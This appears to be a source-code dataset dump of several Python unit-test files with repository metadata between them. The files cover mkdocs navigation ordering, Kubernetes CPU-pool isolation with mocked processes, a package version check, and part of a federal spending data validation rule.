self.assertNavigationEqual(navigation.items, [ self.page('2'), self.link('Link'), self.page('1') ]) self.assertValidNavigation(navigation.to_mkdocs()) def test_added_link(self): navigation = self.createAwesomeNavigation([ self.page('1'), self.page('2'), Meta(nav=[ MetaNavItem('2.md'), MetaNavItem('Url', 'Link'), MetaNavItem('1.md') ]) ]) self.assertNavigationEqual(navigation.items, [ self.page('2'), self.link('Link', 'Url'), self.page('1') ]) self.assertValidNavigation(navigation.to_mkdocs()) def test_duplicate_list_item(self): navigation = self.createAwesomeNavigation([ self.page('1'), self.page('2'), Meta(nav=[ MetaNavItem('2.md'), MetaNavItem('1.md'), MetaNavItem('2.md') ]) ]) self.assertNavigationEqual(navigation.items, [ self.page('2'), self.page('1'), self.page('2') ]) def test_duplicate_navigation_item(self): navigation = self.createAwesomeNavigation([ self.page('1'), self.page('2a', '2.md'), self.page('2b', '2.md'), Meta(nav=[ MetaNavItem('2.md'), MetaNavItem('1.md') ]) ]) self.assertNavigationEqual(navigation.items, [ self.page('2b', '2.md'), self.page('1') ]) def test_not_found(self): with self.assertRaises(NavEntryNotFound): self.createAwesomeNavigation([ self.page('1'), self.page('2'), Meta(nav=[ MetaNavItem('1.md'), MetaNavItem('3.md') ]) ]) def test_not_found_not_strict(self): with self.assertWarns(NavEntryNotFound): self.createAwesomeNavigation([ self.page('1'), self.page('2'), Meta(nav=[ MetaNavItem('1.md'), MetaNavItem('3.md') ]) ], strict=False)

29.91029

61

0.447159

992

11,336

5.051411

0.063508

0.191579

0.05927

0.077829

0.924566

0.888046

0.88645

0.874277

0.857513

0

0.025116

0.392378

11,336

378

62

29.989418

0.702381

0

0.867647

0

0.065367

0

0.094118

1

0.055882

false

0

0.008824

0

0.067647

0

null

0

1

0

1

0

null

0

7

e3ac3def2bea175a12f11df987353c0275b9c305

11,093

py

Python

tests/unit/test_isolate.py

GitSoftwareNow/CPU-Manager-for-Kubernetes

46988af8a5c005abeb6f68162035b7be632f76c9

[ "Apache-2.0" ]

1

2019-04-25T23:25:45.000Z

tests/unit/test_isolate.py

GitSoftwareNow/CPU-Manager-for-Kubernetes

46988af8a5c005abeb6f68162035b7be632f76c9

[ "Apache-2.0" ]

1

2021-02-24T01:11:52.000Z

tests/unit/test_isolate.py

isabella232/CPU-Manager-for-Kubernetes

b92d994fedc734898f9852bb65fcd4cd2be55384

[ "Apache-2.0" ]

null

from intel import isolate, config from unittest.mock import patch, MagicMock import pytest import os EXCL_ONE = [ { "pool": "exclusive", "socket": "0", "cl": "0,11", "tasks": ["123"] } ] SHAR_ONE = [ { "pool": "shared", "socket": "0", "cl": "4,15,5,16", "tasks": ["123"] } ] INF_ONE = [ { "pool": "infra", "socket": "0", "cl": "6,17,7,18,8,19", "tasks": ["123"] } ] EXNI_ONE = [ { "pool": "exclusive-non-isolcpus", "socket": "0", "cl": "9,20", "tasks": ["123"] } ] FAKE_CONFIG = { "exclusive": { "0": { "0,11": [], "1,12": [], "2,13": [] }, "1": { "3,14": [] } }, "shared": { "0": { "4,15,5,16": [] }, "1": {} }, "infra": { "0": { "6,17,7,18,8,19": [] }, "1": {} }, "exclusive-non-isolcpus": { "0": { "9,20": [], "10,21": [] }, "1": {} } } def return_config(conf): c = FAKE_CONFIG for item in conf: c[item["pool"]][item["socket"]][item["cl"]] = item["tasks"] return config.build_config(c) class MockConfig(config.Config): def __init__(self, conf): self.cm_name = "fake-name" self.owner = "fake-owner" self.c_data = conf def lock(self): return def unlock(self): return class MockProcess(): def __init__(self): self.pid = 9 self.affinity = [] def cpu_affinity(self, cpus=None): if not cpus: return self.get_cpu_affinity() else: self.set_cpu_affinity(cpus) def get_cpu_affinity(self): return self._cpu_affin def set_cpu_affinity(self, new_affin): self._cpu_affin = new_affin class MockChild(): def __init__(self): self.name = "child" self.terminate = "term" def wait(self): return @patch('subprocess.Popen', MagicMock(return_value=MockChild())) @patch('intel.proc.getpid', MagicMock(return_value=1234)) @patch('signal.signal', MagicMock(return_value=None)) @patch.dict(os.environ, {"HOSTNAME": "fake-pod"}) @patch('intel.k8s.get_node_from_pod', MagicMock(return_value="fake-node")) @patch('intel.k8s.delete_config_map', MagicMock(return_value='')) @patch('intel.config.Config.lock', MagicMock(return_value='')) @patch('intel.config.Config.unlock', MagicMock(return_value='')) def test_isolate_exclusive1(): p = MockProcess() c = MockConfig(return_config([])) with patch('psutil.Process', MagicMock(return_value=p)): with patch('intel.config.Config', MagicMock(return_value=c)): isolate.isolate("exclusive", False, "fake-cmd", ["fake-args"], socket_id=None) assert p.cpu_affinity() == [0, 11] @patch('subprocess.Popen', MagicMock(return_value=MockChild())) @patch('intel.proc.getpid', MagicMock(return_value=1234)) @patch('signal.signal', MagicMock(return_value=None)) @patch.dict(os.environ, {"HOSTNAME": "fake-pod"}) @patch('intel.k8s.get_node_from_pod', MagicMock(return_value="fake-node")) def test_isolate_exclusive2(): p = MockProcess() c = MockConfig(return_config(EXCL_ONE)) with patch('psutil.Process', MagicMock(return_value=p)): with patch('intel.config.Config', MagicMock(return_value=c)): isolate.isolate("exclusive", False, "fake-cmd", ["fake-args"], socket_id=None) assert p.cpu_affinity() == [1, 12] @patch('subprocess.Popen', MagicMock(return_value=MockChild())) @patch('intel.proc.getpid', MagicMock(return_value=1234)) @patch('signal.signal', MagicMock(return_value=None)) @patch.dict(os.environ, {"HOSTNAME": "fake-pod"}) @patch('intel.k8s.get_node_from_pod', MagicMock(return_value="fake-node")) def test_isolate_exclusive3(): p = MockProcess() c = MockConfig(return_config([])) with patch('psutil.Process', MagicMock(return_value=p)): with patch('intel.config.Config', MagicMock(return_value=c)): isolate.isolate("exclusive", False, "fake-cmd", ["fake-args"], socket_id="1") assert p.cpu_affinity() == [3, 14] @patch('subprocess.Popen', MagicMock(return_value=MockChild())) @patch('intel.proc.getpid', MagicMock(return_value=1234)) @patch('signal.signal', MagicMock(return_value=None)) @patch.dict(os.environ, {"HOSTNAME": "fake-pod"}) @patch('intel.k8s.get_node_from_pod', MagicMock(return_value="fake-node")) def test_isolate_shared1(): p = MockProcess() c = MockConfig(return_config([])) with patch('psutil.Process', MagicMock(return_value=p)): with patch('intel.config.Config', MagicMock(return_value=c)): isolate.isolate("shared", False, "fake-cmd", ["fake-args"], socket_id=None) assert p.cpu_affinity() == [4, 15, 5, 16] @patch('subprocess.Popen', MagicMock(return_value=MockChild())) @patch('intel.proc.getpid', MagicMock(return_value=1234)) @patch('signal.signal', MagicMock(return_value=None)) @patch.dict(os.environ, {"HOSTNAME": "fake-pod"}) @patch('intel.k8s.get_node_from_pod', MagicMock(return_value="fake-node")) def test_isolate_shared2(): p = MockProcess() c = MockConfig(return_config(SHAR_ONE)) with patch('psutil.Process', MagicMock(return_value=p)): with patch('intel.config.Config', MagicMock(return_value=c)): isolate.isolate("shared", False, "fake-cmd", ["fake-args"], socket_id=None) assert p.cpu_affinity() == [4, 15, 5, 16] @patch('subprocess.Popen', MagicMock(return_value=MockChild())) @patch('intel.proc.getpid', MagicMock(return_value=1234)) @patch('signal.signal', MagicMock(return_value=None)) @patch.dict(os.environ, {"HOSTNAME": "fake-pod"}) @patch('intel.k8s.get_node_from_pod', MagicMock(return_value="fake-node")) def test_isolate_infra1(): p = MockProcess() c = MockConfig(return_config([])) with patch('psutil.Process', MagicMock(return_value=p)): with patch('intel.config.Config', MagicMock(return_value=c)): isolate.isolate("infra", False, "fake-cmd", ["fake-args"], socket_id=None) assert p.cpu_affinity() == [6, 17, 7, 18, 8, 19] @patch('subprocess.Popen', MagicMock(return_value=MockChild())) @patch('intel.proc.getpid', MagicMock(return_value=1234)) @patch('signal.signal', MagicMock(return_value=None)) @patch.dict(os.environ, {"HOSTNAME": "fake-pod"}) @patch('intel.k8s.get_node_from_pod', MagicMock(return_value="fake-node")) def test_isolate_infra2(): p = MockProcess() c = MockConfig(return_config(INF_ONE)) with patch('psutil.Process', MagicMock(return_value=p)): with patch('intel.config.Config', MagicMock(return_value=c)): isolate.isolate("infra", False, "fake-cmd", ["fake-args"], socket_id=None) assert p.cpu_affinity() == [6, 17, 7, 18, 8, 19] @patch('subprocess.Popen', MagicMock(return_value=MockChild())) @patch('intel.proc.getpid', MagicMock(return_value=1234)) @patch('signal.signal', MagicMock(return_value=None)) @patch.dict(os.environ, {"HOSTNAME": "fake-pod"}) @patch('intel.k8s.get_node_from_pod', MagicMock(return_value="fake-node")) def test_isolate_exclusive_non_isolcpus2(): p = MockProcess() c = MockConfig(return_config(EXNI_ONE)) with patch('psutil.Process', MagicMock(return_value=p)): with patch('intel.config.Config', MagicMock(return_value=c)): isolate.isolate("exclusive-non-isolcpus", False, "fake-cmd", ["fake-args"], socket_id=None) assert p.cpu_affinity() == [10, 21] @patch('subprocess.Popen', MagicMock(return_value=MockChild())) @patch('intel.proc.getpid', MagicMock(return_value=1234)) @patch('signal.signal', MagicMock(return_value=None)) @patch.dict(os.environ, {"HOSTNAME": "fake-pod"}) @patch('intel.k8s.get_node_from_pod', MagicMock(return_value="fake-node")) def test_pool_not_exist(): c = MockConfig(return_config([])) with patch('intel.config.Config', MagicMock(return_value=c)): with pytest.raises(KeyError) as err: isolate.isolate("fake-pool", False, "fake-cmd", ["fake-args"], socket_id=None) assert err is not None assert err.value.args[0] == "Requested pool fake-pool does not exist" @patch('subprocess.Popen', MagicMock(return_value=MockChild())) @patch('intel.proc.getpid', MagicMock(return_value=1234)) @patch('signal.signal', MagicMock(return_value=None)) @patch('os.getenv', MagicMock(return_value=0)) @patch.dict(os.environ, {"HOSTNAME": "fake-pod"}) @patch('intel.k8s.get_node_from_pod', MagicMock(return_value="fake-node")) def test_n_cpus_lt_one(): c = MockConfig(return_config([])) with patch('intel.config.Config', MagicMock(return_value=c)): with pytest.raises(ValueError) as err: isolate.isolate("exclusive", False, "fake-cmd", ["fake-args"], socket_id=None) assert err is not None assert err.value.args[0] == "Requested numbers of cores "\ "must be positive integer" @patch('subprocess.Popen', MagicMock(return_value=MockChild())) @patch('intel.proc.getpid', MagicMock(return_value=1234)) @patch('signal.signal', MagicMock(return_value=None)) @patch('os.getenv', MagicMock(return_value=5)) @patch.dict(os.environ, {"HOSTNAME": "fake-pod"}) @patch('intel.k8s.get_node_from_pod', MagicMock(return_value="fake-node")) def test_not_enough_cpus(): c = MockConfig(return_config([])) with patch('intel.config.Config', MagicMock(return_value=c)): with pytest.raises(SystemError) as err: isolate.isolate("exclusive", False, "fake-cmd", ["fake-args"], socket_id=None) assert err is not None assert err.value.args[0] == "Not enough free cpu lists "\ "in pool exclusive" @patch('subprocess.Popen', MagicMock(return_value=MockChild())) @patch('intel.proc.getpid', MagicMock(return_value=1234)) @patch('signal.signal', MagicMock(return_value=None)) @patch.dict(os.environ, {"HOSTNAME": "fake-pod"}) @patch('intel.k8s.get_node_from_pod', MagicMock(return_value="fake-node")) def test_isolate_shared_failure1(): c = MockConfig(return_config([])) with patch('intel.config.Config', MagicMock(return_value=c)): with pytest.raises(SystemError) as err: isolate.isolate("shared", False, "fake-cmd", ["fake-args"], socket_id="1") assert err is not None assert err.value.args[0] == "No cpu lists in pool shared"

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null

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1

0

null

0

7

e3fedd54f35b58ab8701773f5d93dc85a0cd0515

244

py

Python

tests/test_version.py

rpanderson/workflow-sandbox

f03ea46945decb683cb95afa6f835a83884dc05e

[ "BSD-3-Clause" ]

null

tests/test_version.py

rpanderson/workflow-sandbox

f03ea46945decb683cb95afa6f835a83884dc05e

[ "BSD-3-Clause" ]

17

2020-05-07T00:59:33.000Z

2021-12-12T03:55:14.000Z

tests/test_version.py

rpanderson/workflow-sandbox

f03ea46945decb683cb95afa6f835a83884dc05e

[ "BSD-3-Clause" ]

2

2020-06-23T03:09:44.000Z

2020-06-23T05:50:31.000Z

from pkg_resources import get_distribution import workflow_sandbox def test_version(): """Check version against `pkg_resources` from `setuptools`.""" assert workflow_sandbox.__version__ == get_distribution('workflow_sandbox').version

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null

0

1

0

1

0

1

0

8

581d733e97eb87fc055b25e43cad0b2b5625ac13

24,216

py

Python

tests/unit/dataactvalidator/test_c21_award_financial.py

dael-victoria-reyes/data-act-broker-backend

f83c7cad29cac24d95f45a262710dc1564de7dc1

[ "CC0-1.0" ]

1

2019-06-22T21:53:16.000Z

tests/unit/dataactvalidator/test_c21_award_financial.py

dael-victoria-reyes/data-act-broker-backend

f83c7cad29cac24d95f45a262710dc1564de7dc1

[ "CC0-1.0" ]

null

tests/unit/dataactvalidator/test_c21_award_financial.py

dael-victoria-reyes/data-act-broker-backend

f83c7cad29cac24d95f45a262710dc1564de7dc1

[ "CC0-1.0" ]

null

from random import randint from tests.unit.dataactcore.factories.staging import AwardFinancialFactory from tests.unit.dataactcore.factories.staging import ObjectClassProgramActivityFactory from tests.unit.dataactvalidator.utils import number_of_errors, query_columns _FILE = 'c21_award_financial' _TAS = 'c21_award_financial_tas' af_dict = dict( submission_id=randint(1000, 10000), tas='some-tas', program_activity_code='some-code', ussgl480100_undelivered_or_fyb=randint(-10000, -1000), ussgl480100_undelivered_or_cpe=randint(-10000, -1000), ussgl483100_undelivered_or_cpe=randint(-10000, -1000), ussgl488100_upward_adjustm_cpe=randint(-10000, -1000), obligations_undelivered_or_fyb=randint(-10000, -1000), obligations_undelivered_or_cpe=randint(-10000, -1000), ussgl490100_delivered_orde_fyb=randint(-10000, -1000), ussgl490100_delivered_orde_cpe=randint(-10000, -1000), ussgl493100_delivered_orde_cpe=randint(-10000, -1000), ussgl498100_upward_adjustm_cpe=randint(-10000, -1000), obligations_delivered_orde_fyb=randint(-10000, -1000), obligations_delivered_orde_cpe=randint(-10000, -1000), ussgl480200_undelivered_or_fyb=randint(-10000, -1000), ussgl480200_undelivered_or_cpe=randint(-10000, -1000), ussgl483200_undelivered_or_cpe=randint(-10000, -1000), ussgl488200_upward_adjustm_cpe=randint(-10000, -1000), gross_outlays_undelivered_fyb=randint(-10000, -1000), gross_outlays_undelivered_cpe=randint(-10000, -1000), ussgl490200_delivered_orde_cpe=randint(-10000, -1000), ussgl490800_authority_outl_fyb=randint(-10000, -1000), ussgl490800_authority_outl_cpe=randint(-10000, -1000), ussgl498200_upward_adjustm_cpe=randint(-10000, -1000), gross_outlays_delivered_or_fyb=randint(-10000, -1000), gross_outlays_delivered_or_cpe=randint(-10000, -1000), gross_outlay_amount_by_awa_fyb=randint(-10000, -1000), gross_outlay_amount_by_awa_cpe=randint(-10000, -1000), obligations_incurred_byawa_cpe=randint(-10000, -1000), ussgl487100_downward_adjus_cpe=randint(-10000, -1000), ussgl497100_downward_adjus_cpe=randint(-10000, -1000), ussgl487200_downward_adjus_cpe=randint(-10000, -1000), ussgl497200_downward_adjus_cpe=randint(-10000, -1000), deobligations_recov_by_awa_cpe=randint(-10000, -1000) ) def test_column_headers(database): expected_subset = {'row_number', 'tas', 'program_activity_code', 'ussgl480100_undelivered_or_fyb_sum_c', 'ussgl480100_undelivered_or_cpe_sum_c', 'ussgl483100_undelivered_or_cpe_sum_c', 'ussgl488100_upward_adjustm_cpe_sum_c', 'obligations_undelivered_or_fyb_sum_c', 'obligations_undelivered_or_cpe_sum_c', 'ussgl490100_delivered_orde_fyb_sum_c', 'ussgl490100_delivered_orde_cpe_sum_c', 'ussgl493100_delivered_orde_cpe_sum_c', 'ussgl498100_upward_adjustm_cpe_sum_c', 'obligations_delivered_orde_fyb_sum_c', 'obligations_delivered_orde_cpe_sum_c', 'ussgl480200_undelivered_or_fyb_sum_c', 'ussgl480200_undelivered_or_cpe_sum_c', 'ussgl483200_undelivered_or_cpe_sum_c', 'ussgl488200_upward_adjustm_cpe_sum_c', 'gross_outlays_undelivered_fyb_sum_c', 'gross_outlays_undelivered_cpe_sum_c', 'ussgl490200_delivered_orde_cpe_sum_c', 'ussgl490800_authority_outl_fyb_sum_c', 'ussgl490800_authority_outl_cpe_sum_c', 'ussgl498200_upward_adjustm_cpe_sum_c', 'gross_outlays_delivered_or_fyb_sum_c', 'gross_outlays_delivered_or_cpe_sum_c', 'gross_outlay_amount_by_awa_fyb_sum_c', 'gross_outlay_amount_by_awa_cpe_sum_c', 'obligations_incurred_byawa_cpe_sum_c', 'ussgl487100_downward_adjus_cpe_sum_c', 'ussgl497100_downward_adjus_cpe_sum_c', 'ussgl487200_downward_adjus_cpe_sum_c', 'ussgl497200_downward_adjus_cpe_sum_c', 'deobligations_recov_by_awa_cpe_sum_c', 'ussgl480100_undelivered_or_fyb_sum_b', 'ussgl480100_undelivered_or_cpe_sum_b', 'ussgl483100_undelivered_or_cpe_sum_b', 'ussgl488100_upward_adjustm_cpe_sum_b', 'obligations_undelivered_or_fyb_sum_b', 'obligations_undelivered_or_cpe_sum_b', 'ussgl490100_delivered_orde_fyb_sum_b', 'ussgl490100_delivered_orde_cpe_sum_b', 'ussgl493100_delivered_orde_cpe_sum_b', 'ussgl498100_upward_adjustm_cpe_sum_b', 'obligations_delivered_orde_fyb_sum_b', 'obligations_delivered_orde_cpe_sum_b', 'ussgl480200_undelivered_or_fyb_sum_b', 'ussgl480200_undelivered_or_cpe_sum_b', 'ussgl483200_undelivered_or_cpe_sum_b', 'ussgl488200_upward_adjustm_cpe_sum_b', 'gross_outlays_undelivered_fyb_sum_b', 'gross_outlays_undelivered_cpe_sum_b', 'ussgl490200_delivered_orde_cpe_sum_b', 'ussgl490800_authority_outl_fyb_sum_b', 'ussgl490800_authority_outl_cpe_sum_b', 'ussgl498200_upward_adjustm_cpe_sum_b', 'gross_outlays_delivered_or_fyb_sum_b', 'gross_outlays_delivered_or_cpe_sum_b', 'gross_outlay_amount_by_pro_fyb_sum_b', 'gross_outlay_amount_by_pro_cpe_sum_b', 'obligations_incurred_by_pr_cpe_sum_b', 'ussgl487100_downward_adjus_cpe_sum_b', 'ussgl497100_downward_adjus_cpe_sum_b', 'ussgl487200_downward_adjus_cpe_sum_b', 'ussgl497200_downward_adjus_cpe_sum_b', 'deobligations_recov_by_pro_cpe_sum_b'} actual = set(query_columns(_FILE, database)) assert (actual & expected_subset) == expected_subset def test_success(database): """ Tests that the sum of financial elements in File C is less than or equal to the corresponding element in File B for the same TAS and Program Activity Code combination""" af1 = AwardFinancialFactory(**af_dict) af2 = AwardFinancialFactory(**af_dict) op1 = ObjectClassProgramActivityFactory( ussgl480100_undelivered_or_fyb=af_dict['ussgl480100_undelivered_or_fyb'] * 2, ussgl480100_undelivered_or_cpe=af_dict['ussgl480100_undelivered_or_cpe'] * 2, ussgl483100_undelivered_or_cpe=af_dict['ussgl483100_undelivered_or_cpe'] * 2, ussgl488100_upward_adjustm_cpe=af_dict['ussgl488100_upward_adjustm_cpe'] * 2, obligations_undelivered_or_fyb=af_dict['obligations_undelivered_or_fyb'] * 2, obligations_undelivered_or_cpe=af_dict['obligations_undelivered_or_cpe'] * 2, ussgl490100_delivered_orde_fyb=af_dict['ussgl490100_delivered_orde_fyb'] * 2, ussgl490100_delivered_orde_cpe=af_dict['ussgl490100_delivered_orde_cpe'] * 2, ussgl493100_delivered_orde_cpe=af_dict['ussgl493100_delivered_orde_cpe'] * 2, ussgl498100_upward_adjustm_cpe=af_dict['ussgl498100_upward_adjustm_cpe'] * 2, obligations_delivered_orde_fyb=af_dict['obligations_delivered_orde_fyb'] * 2, obligations_delivered_orde_cpe=af_dict['obligations_delivered_orde_cpe'] * 2, ussgl480200_undelivered_or_fyb=af_dict['ussgl480200_undelivered_or_fyb'] * 2, ussgl480200_undelivered_or_cpe=af_dict['ussgl480200_undelivered_or_cpe'] * 2, ussgl483200_undelivered_or_cpe=af_dict['ussgl483200_undelivered_or_cpe'] * 2, ussgl488200_upward_adjustm_cpe=af_dict['ussgl488200_upward_adjustm_cpe'] * 2, gross_outlays_undelivered_fyb=af_dict['gross_outlays_undelivered_fyb'] * 2, gross_outlays_undelivered_cpe=af_dict['gross_outlays_undelivered_cpe'] * 2, ussgl490200_delivered_orde_cpe=af_dict['ussgl490200_delivered_orde_cpe'] * 2, ussgl490800_authority_outl_fyb=af_dict['ussgl490800_authority_outl_fyb'] * 2, ussgl490800_authority_outl_cpe=af_dict['ussgl490800_authority_outl_cpe'] * 2, ussgl498200_upward_adjustm_cpe=af_dict['ussgl498200_upward_adjustm_cpe'] * 2, gross_outlays_delivered_or_fyb=af_dict['gross_outlays_delivered_or_fyb'] * 2, gross_outlays_delivered_or_cpe=af_dict['gross_outlays_delivered_or_cpe'] * 2, gross_outlay_amount_by_pro_fyb=af_dict['gross_outlay_amount_by_awa_fyb'] * 2, gross_outlay_amount_by_pro_cpe=af_dict['gross_outlay_amount_by_awa_cpe'] * 2, obligations_incurred_by_pr_cpe=af_dict['obligations_incurred_byawa_cpe'] * 2, ussgl487100_downward_adjus_cpe=af_dict['ussgl487100_downward_adjus_cpe'] * 2, ussgl497100_downward_adjus_cpe=af_dict['ussgl497100_downward_adjus_cpe'] * 2, ussgl487200_downward_adjus_cpe=af_dict['ussgl487200_downward_adjus_cpe'] * 2, ussgl497200_downward_adjus_cpe=af_dict['ussgl497200_downward_adjus_cpe'] * 2, deobligations_recov_by_pro_cpe=af_dict['deobligations_recov_by_awa_cpe'] * 2, tas=af_dict['tas'], program_activity_code=af_dict['program_activity_code'], submission_id=af_dict['submission_id'] ) op2 = ObjectClassProgramActivityFactory( ussgl480100_undelivered_or_fyb=af_dict['ussgl480100_undelivered_or_fyb'] * 2, ussgl480100_undelivered_or_cpe=af_dict['ussgl480100_undelivered_or_cpe'] * 2, ussgl483100_undelivered_or_cpe=af_dict['ussgl483100_undelivered_or_cpe'] * 2, ussgl488100_upward_adjustm_cpe=af_dict['ussgl488100_upward_adjustm_cpe'] * 2, obligations_undelivered_or_fyb=af_dict['obligations_undelivered_or_fyb'] * 2, obligations_undelivered_or_cpe=af_dict['obligations_undelivered_or_cpe'] * 2, ussgl490100_delivered_orde_fyb=af_dict['ussgl490100_delivered_orde_fyb'] * 2, ussgl490100_delivered_orde_cpe=af_dict['ussgl490100_delivered_orde_cpe'] * 2, ussgl493100_delivered_orde_cpe=af_dict['ussgl493100_delivered_orde_cpe'] * 2, ussgl498100_upward_adjustm_cpe=af_dict['ussgl498100_upward_adjustm_cpe'] * 2, obligations_delivered_orde_fyb=af_dict['obligations_delivered_orde_fyb'] * 2, obligations_delivered_orde_cpe=af_dict['obligations_delivered_orde_cpe'] * 2, ussgl480200_undelivered_or_fyb=af_dict['ussgl480200_undelivered_or_fyb'] * 2, ussgl480200_undelivered_or_cpe=af_dict['ussgl480200_undelivered_or_cpe'] * 2, ussgl483200_undelivered_or_cpe=af_dict['ussgl483200_undelivered_or_cpe'] * 2, ussgl488200_upward_adjustm_cpe=af_dict['ussgl488200_upward_adjustm_cpe'] * 2, gross_outlays_undelivered_fyb=af_dict['gross_outlays_undelivered_fyb'] * 2, gross_outlays_undelivered_cpe=af_dict['gross_outlays_undelivered_cpe'] * 2, ussgl490200_delivered_orde_cpe=af_dict['ussgl490200_delivered_orde_cpe'] * 2, ussgl490800_authority_outl_fyb=af_dict['ussgl490800_authority_outl_fyb'] * 2, ussgl490800_authority_outl_cpe=af_dict['ussgl490800_authority_outl_cpe'] * 2, ussgl498200_upward_adjustm_cpe=af_dict['ussgl498200_upward_adjustm_cpe'] * 2, gross_outlays_delivered_or_fyb=af_dict['gross_outlays_delivered_or_fyb'] * 2, gross_outlays_delivered_or_cpe=af_dict['gross_outlays_delivered_or_cpe'] * 2, gross_outlay_amount_by_pro_fyb=af_dict['gross_outlay_amount_by_awa_fyb'] * 2, gross_outlay_amount_by_pro_cpe=af_dict['gross_outlay_amount_by_awa_cpe'] * 2, obligations_incurred_by_pr_cpe=af_dict['obligations_incurred_byawa_cpe'] * 2, ussgl487100_downward_adjus_cpe=af_dict['ussgl487100_downward_adjus_cpe'] * 2, ussgl497100_downward_adjus_cpe=af_dict['ussgl497100_downward_adjus_cpe'] * 2, ussgl487200_downward_adjus_cpe=af_dict['ussgl487200_downward_adjus_cpe'] * 2, ussgl497200_downward_adjus_cpe=af_dict['ussgl497200_downward_adjus_cpe'] * 2, deobligations_recov_by_pro_cpe=af_dict['deobligations_recov_by_awa_cpe'] * 2, tas='some-other-tas', program_activity_code=af_dict['program_activity_code'], submission_id=af_dict['submission_id'] ) op3 = ObjectClassProgramActivityFactory( ussgl480100_undelivered_or_fyb=af_dict['ussgl480100_undelivered_or_fyb'] * 2, ussgl480100_undelivered_or_cpe=af_dict['ussgl480100_undelivered_or_cpe'] * 2, ussgl483100_undelivered_or_cpe=af_dict['ussgl483100_undelivered_or_cpe'] * 2, ussgl488100_upward_adjustm_cpe=af_dict['ussgl488100_upward_adjustm_cpe'] * 2, obligations_undelivered_or_fyb=af_dict['obligations_undelivered_or_fyb'] * 2, obligations_undelivered_or_cpe=af_dict['obligations_undelivered_or_cpe'] * 2, ussgl490100_delivered_orde_fyb=af_dict['ussgl490100_delivered_orde_fyb'] * 2, ussgl490100_delivered_orde_cpe=af_dict['ussgl490100_delivered_orde_cpe'] * 2, ussgl493100_delivered_orde_cpe=af_dict['ussgl493100_delivered_orde_cpe'] * 2, ussgl498100_upward_adjustm_cpe=af_dict['ussgl498100_upward_adjustm_cpe'] * 2, obligations_delivered_orde_fyb=af_dict['obligations_delivered_orde_fyb'] * 2, obligations_delivered_orde_cpe=af_dict['obligations_delivered_orde_cpe'] * 2, ussgl480200_undelivered_or_fyb=af_dict['ussgl480200_undelivered_or_fyb'] * 2, ussgl480200_undelivered_or_cpe=af_dict['ussgl480200_undelivered_or_cpe'] * 2, ussgl483200_undelivered_or_cpe=af_dict['ussgl483200_undelivered_or_cpe'] * 2, ussgl488200_upward_adjustm_cpe=af_dict['ussgl488200_upward_adjustm_cpe'] * 2, gross_outlays_undelivered_fyb=af_dict['gross_outlays_undelivered_fyb'] * 2, gross_outlays_undelivered_cpe=af_dict['gross_outlays_undelivered_cpe'] * 2, ussgl490200_delivered_orde_cpe=af_dict['ussgl490200_delivered_orde_cpe'] * 2, ussgl490800_authority_outl_fyb=af_dict['ussgl490800_authority_outl_fyb'] * 2, ussgl490800_authority_outl_cpe=af_dict['ussgl490800_authority_outl_cpe'] * 2, ussgl498200_upward_adjustm_cpe=af_dict['ussgl498200_upward_adjustm_cpe'] * 2, gross_outlays_delivered_or_fyb=af_dict['gross_outlays_delivered_or_fyb'] * 2, gross_outlays_delivered_or_cpe=af_dict['gross_outlays_delivered_or_cpe'] * 2, gross_outlay_amount_by_pro_fyb=af_dict['gross_outlay_amount_by_awa_fyb'] * 2, gross_outlay_amount_by_pro_cpe=af_dict['gross_outlay_amount_by_awa_cpe'] * 2, obligations_incurred_by_pr_cpe=af_dict['obligations_incurred_byawa_cpe'] * 2, ussgl487100_downward_adjus_cpe=af_dict['ussgl487100_downward_adjus_cpe'] * 2, ussgl497100_downward_adjus_cpe=af_dict['ussgl497100_downward_adjus_cpe'] * 2, ussgl487200_downward_adjus_cpe=af_dict['ussgl487200_downward_adjus_cpe'] * 2, ussgl497200_downward_adjus_cpe=af_dict['ussgl497200_downward_adjus_cpe'] * 2, deobligations_recov_by_pro_cpe=af_dict['deobligations_recov_by_awa_cpe'] * 2, tas=af_dict['tas'], program_activity_code='some-other-code', submission_id=af_dict['submission_id'] ) errors = number_of_errors(_FILE, database, models=[af1, af2, op1, op2, op3]) assert errors == 0 def test_failure(database): """ Tests that the sum of financial elements in File C is not less than or equal to the corresponding element in File B for the same TAS and Program Activity Code combination""" af1 = AwardFinancialFactory(**af_dict) op1 = ObjectClassProgramActivityFactory( ussgl480100_undelivered_or_fyb=af_dict['ussgl480100_undelivered_or_fyb'] + 1, ussgl480100_undelivered_or_cpe=af_dict['ussgl480100_undelivered_or_cpe'] + 1, ussgl483100_undelivered_or_cpe=af_dict['ussgl483100_undelivered_or_cpe'] + 1, ussgl488100_upward_adjustm_cpe=af_dict['ussgl488100_upward_adjustm_cpe'] + 1, obligations_undelivered_or_fyb=af_dict['obligations_undelivered_or_fyb'] + 1, obligations_undelivered_or_cpe=af_dict['obligations_undelivered_or_cpe'] + 1, ussgl490100_delivered_orde_fyb=af_dict['ussgl490100_delivered_orde_fyb'] + 1, ussgl490100_delivered_orde_cpe=af_dict['ussgl490100_delivered_orde_cpe'] + 1, ussgl493100_delivered_orde_cpe=af_dict['ussgl493100_delivered_orde_cpe'] + 1, ussgl498100_upward_adjustm_cpe=af_dict['ussgl498100_upward_adjustm_cpe'] + 1, obligations_delivered_orde_fyb=af_dict['obligations_delivered_orde_fyb'] + 1, obligations_delivered_orde_cpe=af_dict['obligations_delivered_orde_cpe'] + 1, ussgl480200_undelivered_or_fyb=af_dict['ussgl480200_undelivered_or_fyb'] + 1, ussgl480200_undelivered_or_cpe=af_dict['ussgl480200_undelivered_or_cpe'] + 1, ussgl483200_undelivered_or_cpe=af_dict['ussgl483200_undelivered_or_cpe'] + 1, ussgl488200_upward_adjustm_cpe=af_dict['ussgl488200_upward_adjustm_cpe'] + 1, gross_outlays_undelivered_fyb=af_dict['gross_outlays_undelivered_fyb'] + 1, gross_outlays_undelivered_cpe=af_dict['gross_outlays_undelivered_cpe'] + 1, ussgl490200_delivered_orde_cpe=af_dict['ussgl490200_delivered_orde_cpe'] + 1, ussgl490800_authority_outl_fyb=af_dict['ussgl490800_authority_outl_fyb'] + 1, ussgl490800_authority_outl_cpe=af_dict['ussgl490800_authority_outl_cpe'] + 1, ussgl498200_upward_adjustm_cpe=af_dict['ussgl498200_upward_adjustm_cpe'] + 1, gross_outlays_delivered_or_fyb=af_dict['gross_outlays_delivered_or_fyb'] + 1, gross_outlays_delivered_or_cpe=af_dict['gross_outlays_delivered_or_cpe'] + 1, gross_outlay_amount_by_pro_fyb=af_dict['gross_outlay_amount_by_awa_fyb'] + 1, gross_outlay_amount_by_pro_cpe=af_dict['gross_outlay_amount_by_awa_cpe'] + 1, 